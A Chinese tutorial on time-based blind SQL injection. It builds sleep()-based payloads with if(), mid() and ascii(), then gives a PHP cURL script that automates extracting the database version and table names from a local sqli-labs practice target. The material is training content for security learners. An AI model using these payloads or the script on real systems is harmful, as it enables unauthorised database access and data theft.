sql 注入之盲注篇
-
sql注入是十分经典的一个漏洞,相对于文件上传漏洞、xss、业务逻辑漏洞等漏洞也要复杂得多,那么什么是sql注入呢?
- 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令
-
那么sql注入又分为哪几种类型呢?
- 1.字符类型(str)的sql注入
- 2.整型的(int)的sql注入
- 3.基于时间型的注入
-
而sql注入又分为两种情况
- 1.有明显特征的注入
- 2.没有明显返回特征的盲注
-
而我们今天说的便是没有明显的回显特征的盲注,也就是大家常说的时间盲注,那么什么是时间盲注呢?
- 我们通过构造sql语句来观察页面相应的时间来判断我们想要的结果,这就是时间盲注
-
那么时间盲注的原理是什么呢?大家不要急,请看下面的一个小例子
-
select version(); //这是查询数据库版本,执行结果请看下图
-
-
在这里我先为大家介绍一下三元运算符
-
select if (0,'ok','false'); //0为假,执行此语句将会出现什么结果呢?
-
select if (1,'ok','false'); //1为真,我们看一下执行结果
-
通过执行的结果,我们发现当条件为真时,将会执行第二位,否则执行第三位的内容,我们利用此机制,通过截取字符串的方式来对数据库版本一一比较
-
-
说到截取字符串,就需要为大家介绍一下有哪些常见的数据库字符串截取命令了
-
MID(str,pos,len) // str:字符串 pos:截取的位置 len:截取的长度 select mid(version(),1,1); // 这里我们查询数据库的版本并从第一位开始截取长度为1
-
SUBSTR(str,pos,len) select substr(version(),1,1); //substr用法与mid类似
-
substring(str,pos,len) select substring(version(),1,1); //此用法与上述类似
-
以上为字符串截取最常见的命令,在这里用法一致,下面就将正式进入正题,我们该如何利用呢?
-
-
select if (mid(version(),1,1)=1,sleep(1),'2');
-
- 通过执行结果,我们发现执行时间为1.039s,很明显程序响应时间延迟了,也就是说数据库版本第一位为‘1’。
-
-
select if (mid(version(),1,1)=1,'ok',sleep(1));
-
- 当我们把想要的结果掉换位置的时候,我们发现却是是我们想要的结果,那么二者有什么区别呢?容我卖个关子。
-
-
我们获取的数据库版本得知,第三位是一个小数点,小数点是没有办法和数字比较的
-
select if (mid(version(),3,1) < 1,'ok',sleep(1));
-
select mid(version(),3,1);
-
我们的第三位是一个小数点,而上述程序竟然执行了,说明这样是不符合规则的,所以我们需要将之转换成ascii的形式然后进行比较
-
-
首先我们先看一下第三位转换成ascii是什么
-
select ascii(mid(version(),3,1));
-
我们知道第三位转换成ascii十进制的时候为46,那么我们可以尝试构造新的payload
-
select if(ascii(mid(version(),3,1)) =46 , sleep(1) , '2') ;
-
select if(ascii(mid(version(),3,1)) =46 , 'ok' , sleep(1)) ;
-
-
我们发现我们构造的全新的sql语句达到了我们想要的结果,现在我们需要将将我们sql语句加以利用了
-
-
我们搭建一个靶站,而后通过测试发现此处存在基于单引号的时间盲注
-
?id=1 %27 and sleep(2) -- -
-
-
于是乎我们开始将我们上述用过的查询语句插入进去构成全新的payload
-
?id=1 %27 and if(ascii(mid(version(),3,1)) =46 , sleep(1) , "2" ) -- -
-
-
通过观察浏览器响应时间我们得知我们想要的结果,但是这种方式很麻烦,所以我们需要编写脚本来自动化执行程序,下面我将以php脚本演示
-
<?php /* * $url 想要访问的地址 * $str 定义的空字符串 * $limit 截取字符串的长度(位置) * $temppayload 我的临时payload * $payload 将我的临时payload格式化输出 * $params 将我的payload url转译 * $BeginTime 计算程序开始时间 * $EndTime 计算程序结束时间 * $response 调用聚合函数 * %d 占位符,为数字类型 */ $url="http://127.0.0.1/sqli-labs/Less-9/"; $str=""; $limit=14; $GetVersion=version($url,$limit,$str); echo $GetVersion; function version($url,$limit,$str){ $temppayload="1' and if(ascii(mid(version(),%d,1))=%d,sleep(2),'2')-- -"; for ($lim=1;$lim<=$limit;$lim++){ for ($asc=32;$asc<127;$asc++){ $payload=sprintf($temppayload,$lim,$asc); $params="id=".urlencode($payload); // echo $payload."\n"; //调试用 $BeginTime=time(); $response= juhecurl($url,$params,0); $EndTime=time()-$BeginTime; if ($EndTime>1){ $str=$str.chr($asc); break; } } } return $str; } /** * 请求接口返回内容 * @param string $url [请求的URL地址] * @param string $params [请求的参数] * @param int $ipost [是否采用POST形式] * @return string */ function juhecurl($url,$params=false,$ispost=0){ $httpInfo = array(); $ch = curl_init(); curl_setopt( $ch, CURLOPT_HTTP_VERSION , CURL_HTTP_VERSION_1_1 ); curl_setopt( $ch, CURLOPT_USERAGENT , 'JuheData' ); curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT , 60 ); curl_setopt( $ch, CURLOPT_TIMEOUT , 60); curl_setopt( $ch, CURLOPT_RETURNTRANSFER , true ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); if( $ispost ) { curl_setopt( $ch , CURLOPT_POST , true ); curl_setopt( $ch , CURLOPT_POSTFIELDS , $params ); curl_setopt( $ch , CURLOPT_URL , $url ); } else { if($params){ curl_setopt( $ch , CURLOPT_URL , $url.'?'.$params ); }else{ curl_setopt( $ch , CURLOPT_URL , $url); } } $response = curl_exec( $ch ); if ($response === FALSE) { //echo "cURL Error: " . curl_error($ch); return false; } $httpCode = curl_getinfo( $ch , CURLINFO_HTTP_CODE ); $httpInfo = array_merge( $httpInfo , curl_getinfo( $ch ) ); curl_close( $ch ); return $response; }
-
聚合函数是在网上找的,更多聚合函数请转 “juhe.cn”,大家只要理解上一段函数就可以
-
结果正是我们想要的数据库版本,上段函数执行了两段for循环,使用循环遍历将我们截取的字符串显示出来,当相应的字符等于对应的ascii十进制的时候变回执行sleep函数,而后结束本次循环进入下一循环,有时候执行结束会出现乱七八糟的东西
-
大家出现这样的东西不要慌,再执行一次就好了,而这里我是用的payload是
-
and if ((ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema = %s),%d,1))=%d),sleep(2),'2') -- -
-
为什么我们不使用 and if ((ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema = %s),%d,1))=%d),'2',sleep(2)) -- -
- 因为使用此payload将会耗费更多的时间,这段payload只有当ascii值恰好等于相应的数值的时候才会打印’ok’,否则都会延迟两秒,所以我们尽量不采用这个payload,笔者水平有限,并不能解决为什么有时候会出现乱七八糟的东西的问题,向身边的同事咨询也没有得到太好的解决方案,索性再运行一次就好了
-
-
说到sleep()延迟函数,就要为大家提一个醒儿了,那就是只有数据库版本高于5.0版本的时候才会出现sleep()函数,也就是说当数据库版本低于5.0这个函数就得换一个了
-
benchmark(10000000,MD5(1)) 这个内置函数是将MD5(1)执行10000000次以达到延迟的效果,适用于数据库5.0版本以下
-
需要注意的是,笔者这里使用的数据库为MariaDB,这个数据库是MySql数据库的分支,属于简化版
- MariaDB 5.5 对应 MySql数据库 5.5 版本
- MariaDB 10.0 对应 MySql数据库 5.6 版本
- MariaDB 10.1 对应 MySql数据库 5.7 版本
-
以上便是时间盲注爆库版本,一些畸形用法就不在此例举